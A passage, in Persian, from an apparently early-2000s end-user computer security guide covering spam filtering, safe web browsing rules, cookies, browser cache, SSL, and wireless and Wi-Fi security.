انداز آن،    مسائلي هستند چون بدست آوردن پول يا پس       

. ارتقاي زندگي عاطفي يا خصوصي، و افزايش سلامتي       
اغلب مـا  : اين موضوعات يك نقطة مشترك مهم دارند     

در مورد اين مسائل نگرانيهاي جدي داريم و تعدادي از          
بنابراين حتي  . كنيميما نيز توجه بسيار زيادي به آنها م       
هـا  كنندگان، اين نامه    اگر درصد بسيار اندكي از دريافت     

 نامـه در ميـان هـر        ۱مـثلاً چيـزي حـدود       (را پيگيري كننـد     
يي كـه چنـدين     هـا   نويس  هرزنامه) كننده دريافت ۱۰۰،۰۰۰

توانند پول زيادي  كنند مي ميليون پيام در روز ارسال مي 
  .آورند از اين راه بدست 

  ها چه بايد كرد؟امههرزنبا 

تـوان    روشهاي بسياري وجود دارند كه با استفاده از آنهـا مـي           
برخـي از دولتهـا در حـوزة        .  را محدود و كنترل كـرد      هرزنامه

 هرزنامـه قضايي خود قوانيني را براي جلـوگيري از گـسترش           
هــا معتقدنــد كــه اســتفاده از ISPاكثــر . انــد تــصويب كــرده

هـاي    برخلاف توافقنامهزنامههرتسهيلات آنها براي فرستادن     
تواند مـؤثر باشـد،       تصويب چنين قوانيني مي   . كاري آنها است  

هـا بـسيار      هرزنامـه اما تاكنون اعمال اكثر قوانين مربـوط بـه          

مـشكل و پرهزينـه بـوده و در بـسياري مـوارد هـيچ راهكـار        
  .اجرايي براي آن انديشيده نشده است

از ) ماننـد شـركتها   (برخي از كاربران عمـدة پـست الكترونيكـي          
هـايي منتـشر   ISPهاي الكترونيكي كه از سوي       پذيرفتن نامه 

دهنـد    را مـي هـا  نـويس  هرزنامـه شود كه اجازة فعاليت بـه    مي
ها را ISPتواند مؤثر واقع شود، زيرا  اينكار مي. ورزند  امتناع مي 
.  را متوقف سازند   هرزنامهكند كه فعاليتهاي مرتبط با        وادار مي 

گناهي كه تعداد     معمولاً اين روش به مشتريان بي     با اين وجود    
كننـد هـم      كمي نامة الكترونيكي به مقاصد مختلف ارسال مي       

هـاي زيـادي وجـود دارنـد كـه بـراي             برنامه. رساند  آسيب مي 
كننـده  ، حذف آن و يـا هـشدار بـه دريافـت           هرزنامهتشخيص  

هـا را   ايـن برنامـه  . روند مبني بر دريافت يك هرزنامه بكار مي      
 به اجرا ٧٤گيرندة پستي   سرويس يا   ISPتوان در پايگاه وب       يم

ها محتواي نامه و منشاء ارسال آنرا بررسي          اين برنامه . در آورد 
كنند؛ اما از آنجا كه اين معيارها به سـختي قابـل ارزيـابي                مي

تـشخيص  هـا نيـز معمـولاً داراي          هستند عملكرد اين برنامـه    
 يص مثبت نادرسـت تشخو ) False Negative (منفي نادرست

)False Positive (باشد مي.  

False Negative 
False Negative  برنامـة دهـد كـه     زمـاني رخ مـي 

كند كه يـك نامـة الكترونيكـي         اعلام مي  ٧٥جستجوگر
اين بـدان   .  است هرزنامه نيست، اما در حقيقت      هرزنامه

دهـد كـه از       معناست كه برنامه به هرزنامـه اجـازه مـي         
 ـ      ه همـين دليـل اسـت كـه گفتـه          غربال عبور كنـد و ب

  .مؤثر نباشد% ۱۰۰شود اين برنامه ممكن است  مي

False Positive  
False Positive بـــدين معناســـت كـــه برنامـــة 
ضـرر    هاي بي   كند كه برخي از نامه      جستجوگر اظهار مي  

اين اتفاق خـسارتهاي زيـادي بـه بـار          .  هستند هرزنامه
ة آورد، بخـصوص اگـر در اثـر ايـن تـشخيص، نام ـ            مي

ممكـن  . شده بجاي تحويل شدن، حذف گـردد      فرستاده
هاي الكترونيكي عادي   نامهFalse Positiveاست با 
  .ضرر از دست بروند و غيرقابل بازيابي شوند و بي
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 بـه حـداقل رسـاندن       هرزنامـه هـاي جـستجوي       هدف برنامه 
False Negative  ــردن ــين ب  False Positive و از ب

 معمــولاً False Negativeمتأســفانه كــاهش . باشــد مــي
False Positiveافـرادي كـه بـه هـر     . دهد  را افزايش مي

هاي الكترونيكي شبيه بـه هرزنامـه         دليلي نياز به دريافت نامه    
آخـرين نمونـة    . دارند ممكن است از اين طريق آسـيب بيننـد         

شدة اين اتفاق در مورد يك خبرنامـة دانـشگاهي بـود            گزارش
از . ها مطالبي مطرح شـده بـود        كه در آن در ارتباط با هرزنامه      

هـا بـود،      آنجا كه خبرنامه داراي مثالهـايي در مـورد هرزنامـه          
توسط جـستجوگرها بعنـوان يـك هرزنامـه شناسـايي شـد و              

ISPهاي متعددي آنرا غربال و حذف نمودند.  

سـازي  ، روشـهاي غربـال    هرزنامـه علاوه بر جـستجوگرهاي     
 استفاده  ٧٦پاسخ -پرسش  هرزنامه نيز وجود دارند كه از فنون        

اي از يـك فرسـتندة      در ايـن روش هنگاميكـه نامـه       . كنندمي
قبل از اينكه گيرنده آنرا باز      (شود، در ميان راه       ناشناس دريافت مي  

سپس پرسشي بـراي فرسـتنده ارسـال        . گردد  متوقف مي ) كند
اي كــه  گــردد نامــه شــود و در آن از وي درخواســت مــي مــي

بـت شـود آن نامـه از سـوي          فرستاده است را تأييد كند تـا ثا       
. افـزار همان فرد است و نه از جانب شخص ديگر يا يك نـرم            
توانـد    فرم تأييديه چنان طراحي شده كه بطـور خودكـار نمـي           

اگـر  . هاي بعدي مؤثر نيست     مديريت شود و نيز براي هرزنامه     
اي دريافت نشود، نامه بجـاي تحويـل      تا چند روز هيچ تأييديه    

ل اين روش اين است كه نيازمنـد    مشك. گردد  شدن، حذف مي  
اي را بفرسـتيد و قـادر         اگر نامـه  . مداخلة دستي فرستنده است   

نباشيد كه به درخواست تأييديه سريعاً پاسخ دهيد نامـة شـما            
 بصورت متقابـل از     ISPهمچنين اگر دو    . تحويل نخواهد شد  

كننـد ممكـن اسـت هرگـز از يكـديگر             اين سرويس استفاده    
كننـده نامــه را   نـد؛ زيـرا اولـين دريافـت    اي دريافـت نكن  نامـه 
بيند مگر اينكه تأييـد شـده باشـد، و تقاضـاي تأييـد نيـز              نمي

برخـي از   . ارسال نخواهد شد، چون فرستندة آن ناشناس است       
هـاي مـشكوك را حـذف         صافيهاي هرزنامه بجاي اينكه نامه    

بنـابراين  . دهنـد   كنند آنها را در يك پوشة مخصوص قرار مي        
 را بررسي كنيـد تـا       هرزنامهد بطور متناوب پوشة     توانيشما مي 

 False Positiveمطمئن شويد كه محتويات آن قربانيهاي 
  .نيستند
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ــد   ــد ض ــدة جدي ــهروش اميدواركنن ــام  هرزنام ــه ن ــي ب  روش
Bayesian Filteringــت ــوانين .  اسـ ــن روش قـ در ايـ

ايـن  . شـود    اصلاح مي  هرزنامهسازي با شناخت شما از       غربال
. اي متغيـر باشـند      كننـده   ند در مورد هر دريافـت     توان  قوانين مي 

سـاز از رفتـار     هدف از اين روش، آموزش ديدن برنامه غربـال        
شما است تا بتواند فرد مورد اطمينان شما را تشخيص دهـد و         

شـوند امـا    محتوياتي كه معمولاً بعنوان هرزنامه شناسايي نمي      
ي صـافيها . به هر دليلي مورد توجـه شـما نيـستند را رد كنـد             

bayesian   كننـد تـا بـه        شناسـي اسـتفاده مـي        از فنون زبان
هايي اجازة عبور دهند كه حاوي لغات مخصوصي هستند           نامه

و بر اساس تجربيات گذشتة رفتار پست الكترونيكـي شـما در            
 ظـاهر   هرزنامـه روند اما بندرت در     هاي واقعيتان بكار مي   نامه
هاي پـست     براي اكثر برنامه   bayesianصافيهاي  . شوند  مي

  .الكترونيكي قابل استفاده هستند

آفرين شده اسـت بايـد بررسـي           براي شما مشكل   هرزنامهاگر  
سـازي   شـما قابليتهـاي شناسـايي و غربـال         ISPكنيد كه آيا    

افزارهـاي    همچنين بايـد نـرم    . دهد يا خير     را ارائه مي   هرزنامه
پست الكترونيكي خود را بررسـي كنيـد تـا معلـوم شـود آيـا                 

  .ها را غربال نمايند يا نه هرزنامهد توانن مي

  استفاده از شبكة جهاني وب
 ۱۰ نوشته شد، وب حدود      ۲۰۰۳هنگاميكه اين كتاب در سال      

سال با سطوح دسترسي مختلف در اختيار عموم قـرار داشـته            
درحال حاضر وجود وب بـراي آندسـته از افـرادي كـه             . است

كننـد     مـي  مرتباً در كـار، مدرسـه و تفـريح از شـبكه اسـتفاده             
از آنجا كه وب بصورت ابزاري مفيد و رايـج در     . است  ضروري  

  .آميز باشد تواند محيطي خصومت  شده كه مي آمده، فراموش

  ايمن نگهداشتن مرورگرها

بطور كلي وب نسبتاً ايمن اسـت امـا اسـتفاده از آن خطـرات               
پايگاههاي وب معمولاً داراي متنهـا      . اي نيز در پي دارد      بالقوه

 نيز  ٧٨ييپوياهاي    توانند برنامه    هستند، اما مي   ٧٧ايستاير  و تصاو 
داشته باشند كه براي اجرا در رايانة شما درنظـر گرفتـه شـده              

  .باشند
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  قانون يازدهم
هـاي    پايگاههاي وب اجازه ندهيـد كـه برنامـه          به  

 و اجرا نمايند،    download شما    مخرب را در رايانة   
نـان داشـته    مگر اينكه به آن پايگاه وب كاملاً اطمي       

  .باشيد
Download  توانـد بـسيار    ها گاهي اوقـات مـي        پوياي برنامه

خـدمات  دهـد كـه از        اين قابليت به شما اجازه مي     . مفيد باشد 
يابي و رفـع مـشكلات         استفاده كنيد؛ مثلاً به ويروس     ٧٩برخط

افزار شـما بتوانـد       شود نرم همچنين باعث مي  . امنيتي بپردازيد 
 شـود؛ بـدون اينكـه لازم باشـد          روزرساني  بسادگي نصب و به   

  .اي پيچيده و فني انجام دهد كاربر روالهاي چندمرحله

توانـد    هـا مـي      پويـا و خودكـار برنامـه       downloadمتأسفانه  
كلية مرورگرهـا بـه شـما اجـازه         . خطرناك و مخرب نيز باشد    

 و JavaScript  ،Java ،ActiveXهـاي     دهند كه برنامه    مي
 downloadرا روي رايانة خـود      نويسي    ديگر ابزارهاي برنامه  

خواهيد كاملاً ايمن باشيد نبايـد اجـازة          و اجرا كنيد، اما اگر مي     
البته با غيرفعـال نمـودن      . ها را صادر نماييد   اجراي اين برنامه  

پايگاههاي وب    اين ويژگيها متوجه خواهيد شد كه بسياري از         
  .توانند مثل گذشته كار كنند نمي

به ايـن همـه پايگـاه وب بايـد          بجاي مسدود كردن دسترسي     
  :بدنبال يك راه حل منطقي بود

 را  Javascriptقابليتهاي نسبتاً ايمـن و رايـج ماننـد           •
با اينكار به پايگاههاي وب زيـادي اجـازه         . فعال نماييد 

 .دهيد كه بتوانند بطور صحيح عمل كنند مي

 كه ايمني كمتري    ActiveX و   Javaقابليتهايي مانند    •
شوند را غيرفعال كنيـد يـا          استفاده مي  دارند و كمتر نيز   

مرورگــر خــود را طــوري تنظــيم نماييــد كــه قبــل از  
غيرفعـال نمـودن    . بكارگيري آنها از شما اجازه بگيـرد      

اين قابليتها بدين معناسـت كـه از آن پـس بعـضي از              
با انجام اينكار بعـضي     . توابع مرورگر كار نخواهند كرد    

دار دهنـد و    از پايگاههاي وب ممكن است به شما هش       
اگر مايل نيستيد   . برخي ديگر از ادامة فعاليت باز بمانند      

چنين اتفاقي رخ دهـد، مرورگـر بايـد بتوانـد نيازهـاي             
 و downloadپايگـاه وب را شناسـايي كنـد و بـراي     
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ــاز جهــت مــشاهدة صــحيح   اجــراي برنامــة مــورد ني
 .محتويات آن پايگاه از شما سؤال نمايد

  :قانون دوازدهم
ايگاه وب و آدرسـي كـه بـه آن متـصل            پ  به آدرس   

شويد دقت كنيد و هنگام مشاهدة يـك پايگـاه            مي
وب ناشناخته، به آن توجه نماييد؛ خصوصاً اگر بـه          
آن پايگاه اجازة اجراي يك برنامه روي رايانة خود         

  .ايدرا داده
تواننـد طـوري تنظـيم شـوند كـه آدرس             مرورگرهاي وب مي  

ايـن قابليـت معمـولاً      ( دهنـد    پايگاه وب درحال مشاهده را نشان     
Navigation Bar يا Address Bar  هنگاميكـه  ). شـود   ناميـده مـي

كند، اين ويژگـي       اشاره مي  ٨١ارتباط شما به يك     ٨٠نماي  مكان
تواند نشان دهد كه آن ارتباط به چـه آدرسـي اشـاره دارد                مي

شـويد كـه بـه        با مشاهدة آن آدرس متوجه مي     ). ٨٢نوار وضعيت (
گري فرسـتاده خواهيـد شـد؛ پايگـاهي كـه           چه پايگاه وب دي   

ممكن است غيرقابل اطمينان باشد؛ يـا شـايد نخواهيـد آنـرا             
در عمل ممكن است نخواهيـد بـا هـر كليـك            . مشاهده كنيد 

Navigation Bar و Status Bar    را بررسـي كنيـد، امـا 
 بخـصوص اگـر     -وقتيكه در يك پايگـاه وب ناآشـنا هـستيد           

Java   يا ActiveX   بايد از ايـن ابـزار       -ه باشيد    را فعال كرد 
اي استفاده نماييد كـه چنانچـه بـصورت ناخواسـته بـه              بگونه

  .پايگاه وب جديدي هدايت شديد از آن آگاهي يابيد

Cookieها  

Cookie       اطلاعاتي است كه مرورگـر هنگـام مـشاهدة يـك 
. نويــسد پايگــاه وبِ راه دور روي ديــسك ســخت رايانــه مــي

 پايگـاه وب را مـشاهده كنيـد،         هنگاميكه بعدها دوباره همـان    
cookie            هاي مربوط به شما مجدداً بـراي آن پايگـاه ارسـال

 مربوط به پايگاه وب مبدأ خـود        cookieدرواقع هر   . شوند  مي
است؛ اگرچه برخي از اشكالات موجـود در مرورگرهـا باعـث            

هــاي يكــديگر را cookieشــوند كــه پايگاههــا بتواننــد  مــي
شـود كـه      ايگاه وب متذكر مـي     به پ  Cookie. مشاهده نمايند 

شما چه كسي هستيد، ميل و سليقة شـما چيـست، و قـبلاً در     
بعنوان مثال هنگاميكه   . ايد  آن پايگاه چه فعاليتهايي انجام داده     
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شـويد،    با نام كاربري و رمز عبور خود وارد يك پايگاه وب مي           
 بـر روي رايانـة    cookieپايگاه وب اين اطلاعات را در يـك         

كه مثلاً پس از يك هفته دوباره بـه           وقتي. كند  يشما ذخيره م  
كنيد ممكن است بر اساس اطلاعات موجود در          آن مراجعه مي  

cookie  ــويد ــاه ش ــار وارد آن پايگ ــصورت خودك ــذكور ب .  م
Cookie    دهند آنچـه   ها همچنين به پايگاههاي وب اجازه مي

  .ايد رديابي نمايند داده  انجام ٨٣جلسهرا كه در يك 

تواند از پايگـاه       به شكل معمول تنها مي     cookieاگرچه يك   
وب مبدأ خود بازيابي شود، اما ممكن اسـت پايگـاه وبـي كـه      

كنيد حاوي تـصاوير و اشـياء ديگـري باشـد كـه               مشاهده مي 
 ٨٤پايگاه وب خـارجي   كه  (مربوط به يك پايگاه وب ثانويه هستند        

 ـ ) شـود    ناميده مي  ٨٥پايگاه وب شخص ثالث   يا   ه و آن پايگاه وب ثانوي
از آنجـا كـه     . ها را ذخيره و بازيـابي نمايـد       cookieنيز بتواند   

توانند نامرئي باشـند، ممكـن اسـت اصـلاً متوجـه            تصاوير مي 
ايـن تـصاويرِ غيرقابـل      . نشويد كه چنين اتفاقي رخ داده است      

توانند با رديابي پايگاههـاي وبـي كـه شـما آنهـا را              رؤيت مي 
  ٨٦.ار روندكنيد براي اهداف تبليغاتي بك مشاهده مي

  قانون سيزدهم
ها بر روي رايانـه     cookieچگونگي وضعيت ذخيرة    

توانيـد آنهـا را       اگر نمي . را مورد بررسي قرار دهيد    
اي در يـك مكـان        مانند زمانيكـه از رايانـه     (كنترل نماييد   

اطلاعات خـصوصي خـود را      ) كنيـد   عمومي استفاده مي  
  .وارد رايانه نكنيد

رل خاصي به شـما امكـان       كلية مرورگرهاي وب تا سطح كنت     
در برخي  . ها را مجاز بدانيد يا خير     cookieدهند كه وجود      مي

  هايي كـه در رايانـة     cookieموارد ممكن است مرورگر ميان      
هايي كه هنگام بـستن مرورگـر       cookieاند،    شما ذخيره شده  

هاي وب و     شوند و آندسته كه هنگام مشاهدة پايگاه        ناپديد مي 
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همگي يك تصوير نامرئي     Dو   Cو   Bو   Aكنيد پايگاههاي   فرض     ۸۶
وقتي تصوير مربوطه در مرورگر شما به . دهندنمايش مي Zاز پايگاه   

شود كه از كدام پايگاه بـه آن اشـاره          مطلع مي  Zآيد،  نمايش در مي  
كند تا به خاطر بسپارد     هايي ذخيره مي  cookieپس  شده است، و س   

در مـورد   Zاز اين پـس  . كه شما از كدام پايگاهها ديدن كرده بوديد    
ست اطلاعات خوبي در اختيـار    ا  شما ةاينكه چه چيزهايي مورد علاق    

براي ارسال تبليغات به شما اسـتفاده       از آن اطلاعات    تواند  دارد و مي  
  .كند

. گردنـد تفـاوت قائـل شـود     خيره مي پايگاههاي وب خارجي ذ   
ها را بدهيد، از  cookieتوانيد اجازة ذخيرة همة       اساساً شما مي  

ذخيرة آنها جلوگيري كنيد، و يا از مرورگر بخواهيد كه قبل از            
شويد كه    شما هرگز مطلع نمي   . ذخيرة آنها از شما سؤال نمايد     

 بـه پايگـاه     cookieچه زماني اطلاعات ذخيره شده در يـك         
  .گردد مبدأ بازميوب 

Cookie  تـوان بررسـي نمـود زيـرا در قالـب متنـي               ها را مي
هستند، اما چون اطلاعـات موجـود در آن توسـط پايگـاه وب           

برخي از  . باشندشود معمولاً قابل فهم نمي    مبدأ رمزگذاري مي  
دهنـد و     هـا را مـي    cookieمرورگرها اجازة نمايش و حـذف       

زة مـديريت آنهـا را نيـز    هاي ثالثي وجود دارند كـه اجـا    برنامه
  .آورندبراي شما فراهم مي

خواهيد اطلاعاتي كه يـك پايگـاه وب در مـورد شـما               اگر مي 
شـدن  داند را كنترل كنيد بايـد زمـان و چگـونگي ذخيـره              مي

cookie        توجـه داشـته    . ها روي رايانة خود را كنتـرل نماييـد
 باشيد كه برخي از پايگاههاي وب براي اينكه بتوانند بدرستي         

هـا روي رايانـة كـاربر       cookieعمل نمايند نيازمنـد ذخيـرة       
عموماً اين پايگاههاي وب درصورت غيرفعال بودن       . باشند مي

cookie    دهنـد كـه قـادر بـه انجـام يـا            ها به شما اطلاع مي
  .تكميل عمليات نيستند

از ) هـا، مـدارس     نـت، كتابخانـه     مثـل كـافي   (اگر در اماكن عمـومي      
ــي  ــتفاده م ــاي وب اس ــيد   مرورگره ــته باش ــه داش ــد توج كني

cookie          هايي كه حاوي اطلاعات شما هستند در آنها ذخيـره
 ممكن است به شما      در بسياري از موارد راهبر رايانه     . شوندمي

هـا را كنتـرل،    cookieآنقدر دسترسي نداده باشد كه بتوانيـد        
بنابراين اطلاعـات شـما در ايـن رايانـه          . نظاره و يا پاك كنيد    

 است بوسيلة فرد ديگري كـه همـان پايگـاه           ماند و ممكن    مي
اگر به پايگـاه    . كند مورد استفاده قرار گيرد      وب را مشاهده مي   

 cookieوبي وارد شده باشيد و اطلاعات معتبر شما در يـك            
ذخيره شده باشد و كاربر ديگري به همان پايگاه وب مراجعـه            
نمايد، ممكن است بصورت خودكار بجاي شما وارد آن پايگاه          

ــر ــات    . ددگ ــاه وب اطلاع ــه پايگ ــال دارد ك ــه احتم درنتيج
را در  ) مانند نام، آدرس و اطلاعـات كـارت اعتبـاري         (شدة شما    ذخيره

  .اختيار اين كاربر قرار دهد

 خـصوصي كـه چنـد نفـر از آن            اين مورد حتي در يك رايانـة      
در ايـن مـوارد     . ساز شـود  تواند مشكل   كنند نيز مي  استفاده مي 
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cookie    يك مشكل براي حريم خصوصي هستند،      ها نه تنها
  .روند پذيري امنيتي نيز بشمار ميبلكه يك آسيب

   مرورگر وب٨٧حافظة نهان

هنگاميكه يك مرورگر صفحه يا تـصويري را از يـك پايگـاه             
كنـد معمـولاً يـك نـسخه از صـفحة درحـال              وب بازيابي مي  

ايـن  . نمايـد   نمايش را نيز در ديسك سخت رايانه ذخيره مـي         
ناميـده  "  نهـان  حافظة"شده  فحات و تصاوير ذخيره  مجموعة ص 

اگر اين پايگاه وب را مجدداً مشاهده كنيد و صفحة          . شوند  مي
آن تغيير نكرده باشد ممكن است مرورگـر كـل صـفحه را از               

 نكند، بلكه براي نمايش آن از حافظة نهان         downloadابتدا  
در برخي موارد صـفحات وبـي كـه در حافظـة            . استفاده نمايد 

يعني بدون اتـصال     (offlineتوانند بصورت     نهان وجود دارند مي   
اين بدان معناست كه هرآنچه توسـط       . نيز ديده شوند  ) اينترنتي

كنيد در ديسك سخت رايانه ذخيره شـده          مرورگر مشاهده مي  
بنابراين اگر براي انجام معاملات مـالي از وب اسـتفاده           . است
ري و حسابهاي بانكي    كنيد، اطلاعات خريد، كارتهاي اعتبا      مي

.  كاملاً قابل خواندن و بازيـابي خواهنـد شـد           شما در آن رايانه   
باتوجه به ميزان مرور و اندازة حافظة نهـان، ايـن صـفحات و              

  . باقي بمانند توانند تا مدتهاي متفاوتي روي رايانه تصاوير مي

  :قانون چهاردهم
درصورتيكه اطلاعات خصوصي شما در صفحة وب       

شد، پس از اتمام كـار بايـد حافظـة          نمايش داده   
توانيد اينكار را انجـام  اگر نمي . نهان را پاك نماييد   

) كنيد  مثلاً هنگاميكه از يك رايانة عمومي استفاده مي       (دهيد  
 براي تبـادل اطلاعـات محرمانـة         نبايد از آن رايانه   

  .شخصي استفاده نماييد
ي مـوقتي   فايلهـا كه  (دهند حافظة نهان      كلية مرورگرها اجازه مي   

را از روي سيـستم پـاك كنيـد؛ امـا     ) شـود   ناميـده مـي  ٨٨اينترنـت 
هايي كه در اماكن عمومي مورد استفاده قـرار  بسياري از رايانه  

. دهنـد   گيرند اجازة كنترل و حـذف حافظـة نهـان را نمـي              مي
اگرچه پاك كردن اين حافظه پس از ورود اطلاعات حـساس           

ما تـا بـه حـال هـيچ         از اهميت بسيار زيادي برخوردار است، ا      
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اي قرار نداده كه با كليك بر         مرورگري در نوار ابزار خود نمايه     
  .روي آن بتوان به آساني حافظة نهان را پاك نمود

  انتقال امن

كنيـد بـصورت    كلية پيامهايي كه در وب دريافت و ارسال مي        
اين بدان معناست كه اگر فردي بتواند ايـن         . ساده هستند متن

اه را بـدزد، بـراي وي قابـل فهـم و خوانـدن              متنها را ميـان ر    
سـيم    اگر بخشي از ارتباط اينترنتي به شـكل بـي         . خواهند بود 
 انتهاي ارتباط قابل اطمينان نباشد دزدي پيـام        ISPباشد و يا    

شود و لذا توجه بـه آن اهميـت بـسيار    تر مياز ميان راه راحت 
  .كندبيشتري پيدا مي

براي حل ايـن مـسئله از         هاي وب   دهنده  مرورگرها و سرويس  
دهـد؛   رمزگـذاري پيـام را تغييـر مـي    . برندرمزگذاري بهره مي  

بنابراين براي افراد غيرمجاز بسيار سخت و حتـي غيـرممكن           
براي جزئيـات  (شده را بخوانند شود كه بتوانند پيام رمزگذاري  مي

ــشتر ضــميمة  ــد ۱بي ــام پروتكــل ).  همــين بخــش را مطالعــه نمايي ن
توانيـد بـراي پيامهـايي كـه          مـي . اسـت  ٨٩"SSL"رمزگذاري  
در اكثـر مرورگرهـا     .  استفاده نماييـد   SSLكنيد از   دريافت مي 

تصوير كوچكي از يك قفل وجود دارد كه براي انتقال عـادي            
 به حالت بسته در     SSLپيام باز است و براي انتقالاتي از نوع         

ــدمــي ــت . آي ــا " http" آن صــفحه بجــاي URLدر اينحال ب
"https " درصـورتيكه در كـشورتان امكـان آن        . شـود  يآغاز م

تـرين روش     وجود داشته باشـد، بهتـر اسـت همـواره از قـوي            
  .رمزگذاري استفاده نماييد

كند پيامي كه از      توجه داشته باشيد كه اين قفل مشخص نمي       
شود بـراي رمزگـذاري    دهنده ارسال مي طرف شما به سرويس 

اين اسـت كـه    استفاده كرده است يا نه، اما فرض بر      SSLاز  
اگر صفحة ارسالي رمزگذاري شده باشد، پيـام بازگـشتي نيـز            

  .شودشده منتقل ميبصورت رمزگذاري

SSL    كند كه مرورگـر بدانـد مخاطـب آن            تنها زماني كار مي
امــضاي  و ٩٠گــواهي امنيتــيايــن امــر بــه كمــك . كيــست
دهنـدة   بطور كلي اگـر سـرويس    . پذيرد   صورت مي  ٩١ديجيتالي

طمينان باشد بايد از يك مركز معتبر صدور        وب بخواهد قابل ا   
اگـر ايـن مركـز بخواهـد        . گواهي، گواهي امنيتي تهيه نمايـد     
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بدرستي به وظيفة خود عمل نمايد بايد بررسي كند فردي كـه   
درخواست گواهي نموده همان كسي است كه خودش ادعـاي         

سپس اين مركز گواهي را بصورت ديجيتـالي امـضا          . آنرا دارد 
ها رگر شما جداولي را براي شناسايي اين گواهي       كند و مرو    مي

  .نمايد ذخيره مي

كنيـد    گاهي اوقات از سوي يك پايگاه وب پيامي دريافت مي         
 شده يـا متعلـق      ٩٢منقضيمبني بر اينكه گواهي ديجيتالي آن       

حالت اول زماني است كه تاريخ اعتبار       . به مكان ديگري است   
ب بـراي تمديـد آن      گواهي بتازگي به پايان رسيده و پايگاه و       

در حالت دوم   . بايد تشريفات اداري تمديد گواهي را دنبال كند       
نيز معمولاً پايگاه مورد نظـر تغييـر نـام داده و ايـن تغييـر در                 

بـا ايـن وجـود اگـر خواسـتار          . گواهي آن منعكس نشده است    
سطح مناسبي از ايمني هستيد در هر دو حالت بايد تا زمانيكه            

د به ارتباط خود با آن پايگـاه خاتمـه          اي رفع شو  مشكل بگونه 
  .دهيد

  آيا انتقال امن كافي است؟

 امـن در وب طراحـي شـده و           يك قفل كوچك بـراي انتقـال      
با اين وجـود انتقـال تنهـا        . دهدايمن بودن انتقال را نشان مي     

موردي نيست كه براي تأمين امنيت بايد مـورد بررسـي قـرار             
ا يا سرقتهاي هويت در     تنها درصد كمي از كلاهبرداريه    . گيرد

درصد عمدة مسائل مـواردي    . گيرد   ناامن صورت مي    اثر انتقال 
  :هستند چون

  فقدان اصول اخلاقي در بعضي پايگاههاي وب؛ •
  سوء استفاده از پايگاههاي وب شخصي؛ •
  . هاي شخصيسوء استفاده از رايانه •

اسـت كـه در     " سـيم   انتقال بي "استثناي اصلي در اين موضوع      
  .ررسي خواهد شدبخش بعدي ب

  ٩٣سياستهاي حريم خصوصي

بسياري از پايگاههاي وب براي حفاظت از حـريم خـصوصي           
ايـن سياسـتها مـشخص      . افراد، سياستهاي اعلام شده دارنـد     

تـوان در پايگـاه وب        كنند كه چـه نـوع اطلاعـاتي را مـي            مي
توان توان يا نمي ها چه كاري را مي  آوري نمود، با آن داده      جمع
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. ها حفاظت كـرد     و نيز اينكه چگونه بايد از اين داده       انجام داد،   
آوري   كلية پايگاههاي وبي كه اطلاعات فردي يا مـالي جمـع          

كننـد بايـد از يـك سياسـت حـريم خـصوصي مناسـب و                  مي
  .شده برخوردار باشند اعلام

  سيم انتقال بي
سـيم در كـشورهاي درحـال توسـعه و            استفاده از فناوري بـي    

ايــن فنــاوري معمــولاً . ايش اســتيافتــه رو بــه افــز توســعه
تر از فناوريهاي سـيمي اسـت، در امـاكن خـصوصي        هزينه  كم

شود و اشكالات تنظيمي كمتـري        تر و سريعتر نصب مي      راحت
سـيم داراي دو مـشكل بـالقوه     با اين وجود فنـاوري بـي     . دارد
  :است

 .امكان دارد اطلاعات در ميانة انتقال دزديده شود •

هوا، زمان روز، نزديـك بـودن       با توجه به مكان، آب و        •
تجهيزات راديويي، سرعت انتقال خط، كيفيت نصب و        
تداخلهاي مخرب، سرعت و كيفيت انتقال ممكن است        

 .متفاوت باشد

. توان انجـام داد     در مورد دستة دوم مشكلات، كار زيادي نمي       
هـايي    سـيم و از هزينـه       اين موارد از خصوصيات فنـاوري بـي       

سـيم بايـد پرداخـت        از ارتباطات بـي   هستند كه براي استفاده     
 نيز اسـتفاده از روشـهاي       ٩٤دزدي ميان راه  راه مقابله با    . شوند

بـراي جزئيـات بيـشتر در مـورد روشـهاي           (مختلف رمزگذاري است    
اگـــر ).  از همــين بخـــش را مطالعــه كنيـــد  ۱رمزگــذاري ضـــميمة  

اي داريد كه از روشهاي رمزگـذاري پـشتيباني           دهنده  سرويس
مثل پايگاههاي وب مبتنـي بـر       (از آن استفاده نماييد     كند حتماً     مي

SSL .(           اگر از پـست الكترونيكـي مبتنـي بـرPOP   اسـتفاده 
 را انتخـاب نماييـد تـا رمزهـاي          APOPكنيد بايد گزينة      مي

 مـستقل از    -اين ويژگي   . عبور قبل از ارسال رمزگذاري شوند     
اگـر  . ندك   را برآورده مي   ٩٥امنيت پايانه به پايانه    -رسانة انتقال   

دهنده از رمزگذاري استفاده نكند بايد از محدوديتهاي         سرويس
فناوري آگاه باشيد و درصورت لـزوم تـصميم بگيريـد كـه از              

  .ارتباط چگونه استفاده كنيد
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  Wi-Fi يا 802.11

 IEEEاي از استانداردهاي درحال توسـعة          مجموعه 802.11
 كـه   802.11. باشـد    مـي  ٩٦سـيم   هاي محلي بـي     شبكهبراي  

اترنـت  شـود، بعنـوان جـايگزين          ناميده مـي   Wi-Fi٩٧مولاً  مع
هـاي كيفـي      هاي خانگي و رايانـه       براي اتصال رايانه   ٩٨سيمي

محبوبيت يافته و مـزيتش ارزان بـودن و سـرعت نـسبي آن              
  .است

  ســازيهاي پــذيري در اغلــب پيــاده متأســفانه چنــدين آســيب
Wi-Fiوجود دارد :  

 با يكـديگر    ايستگاههاي اصلي، ارتباط ايمن و مطمئني      •
 .ندارند

اي خـود را بـا فـرد ديگـري            اگر بخواهيد ارتباط شبكه    •
را از  ) SSID(اشتراك بگذاريد، بايد نـام شـبكة خـود            به

فرض تغيير دهيد و آنرا طوري تنظيم كنيـد           حالت پيش 
. كه نام آن براي افراد غيـر مجـاز قابـل رؤيـت نباشـد      

- را مـي   SSIDدرصورت انجام اينكار تنها افرادي كه       
 .اي را ببيننددانند خواهند توانست آن ارتباط شبكه

ضعيف است و بسادگي    ) WEP(الگوريتم رمزنگاري آن     •
با اين وجود در غياب روشـهاي       . تواند شكسته شود    مي

به ياد داشته باشيد كـه      . توانيد آنرا فعال سازيد     بهتر مي 
مانند رمـز   (اگر فردي واقعاً بخواهد انتقال اطلاعات شما        

ــور ــسيار  را) عب ــن روش ب ــتفاده از اي ــد اس  بررســي كن
 جديد رمزنگاري    البته يك روش  . پذير خواهد بود    آسيب

)WPA (   ــتيهاي ــه كاس ــود دارد ك ــع WEPوج  را رف
. باشـد  كند و در تجهيزات جديدتر قابل استفاده مـي        مي

 Wi-Fiهاي مبتنـي بـر      استفاده از اين روش در شبكه     
  .شود اكيداً توصيه مي

